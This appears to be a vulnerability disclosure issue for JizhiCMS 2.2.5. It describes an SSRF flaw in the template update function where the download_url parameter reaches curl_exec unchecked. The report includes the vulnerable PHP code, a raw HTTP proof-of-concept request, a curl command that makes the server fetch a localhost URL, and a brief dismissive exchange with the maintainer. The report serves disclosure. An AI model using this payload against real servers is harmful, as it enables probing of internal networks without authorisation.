[Vuln] SSRF vulnerability in `update` Function of `TemplateController.php` File when `$action` is `prepare-download` (2.2.5 version)
Closed this issue · 2 comments
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: 2.2.5
Test with PHP 7.2
The vulnerable code is located in the update
function of the app/admin/c/TemplateController.php
file, which fails to validate the download_url
parameter, causing a taint flow from the source $remote_url
variable into the sink function curl_init
, which, after the curl_exec
function is executed, a request is sent to the URL specified by the download_url parameter, which eventually leads to an SSRF vulnerability.
function update(){
$template = $this->frparam('template',1);
if(strpos($template,'.')!==false){
JsonReturn(array('code'=>1,'msg'=>JZLANG('参数存在安全隐患!')));
}
$this->template_name = $template;
$dir = APP_PATH.'static';
if($template){
if($this->frparam('action',1)){
$action = $this->frparam('action',1);
// 自己获取这些信息
$remote_url = urldecode($this->frparam('download_url',1));
$remote_url = strpos($remote_url,'?')!==false ? $remote_url.'&version='.$this->webconf['web_version'] : $remote_url.'?version='.$this->webconf['web_version'];
$file_size = $this->frparam('filesize',1);
$tmp_path = Cache_Path."/update_".$filepath.".zip";//临时下载文件路径
switch ($action) {
case 'prepare-download':
$code = 0;
ob_start();
$ch=curl_init($remote_url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_NOBODY,1);
$okay=curl_exec($ch);
curl_close($ch);
$head=ob_get_contents();
ob_end_clean();
$regex='/Content-Length:\s([0-9].+?)\s/';
$count=preg_match($regex,$head,$matches);
$filesize = isset($matches[1])&&is_numeric($matches[1])?$matches[1]:0;
JsonReturn(array('code'=>0,'size'=>$filesize));
break;
Since the download_url
parameter is not restricted, it is also possible to use the server-side to send requests, for example, to probe the intranet web service. The corresponding PoC is as follows:
POST /index.php/admins/Template/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
Connection: close
action=prepare-download&template=cms&download_url=http://localhost/tmppoc
You can also use the following curl command to verify the vulnerability.
curl -i -s -k -X $'POST' \
-H $'Host: 172.16.119.130' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Connection: close' -H $'Content-Length: 73' \
-b $'think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d9l' \
--data-binary $'action=prepare-download&template=cms&download_url=http://localhost/tmppoc' \
$'http://172.16.119.130/index.php/admins/Template/update.html'
We can then see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered.
If you think these are security risks, please try to break demo jizhicms. cn. These questions are of the same type. Please don't submit them again!
If you think these are security risks, please try to break demo jizhicms. cn. These questions are of the same type. Please don't submit them again!
Similar vulnerabilities exist in different code locations and simply want to report similar vulnerability information to you. Thank you for your reply.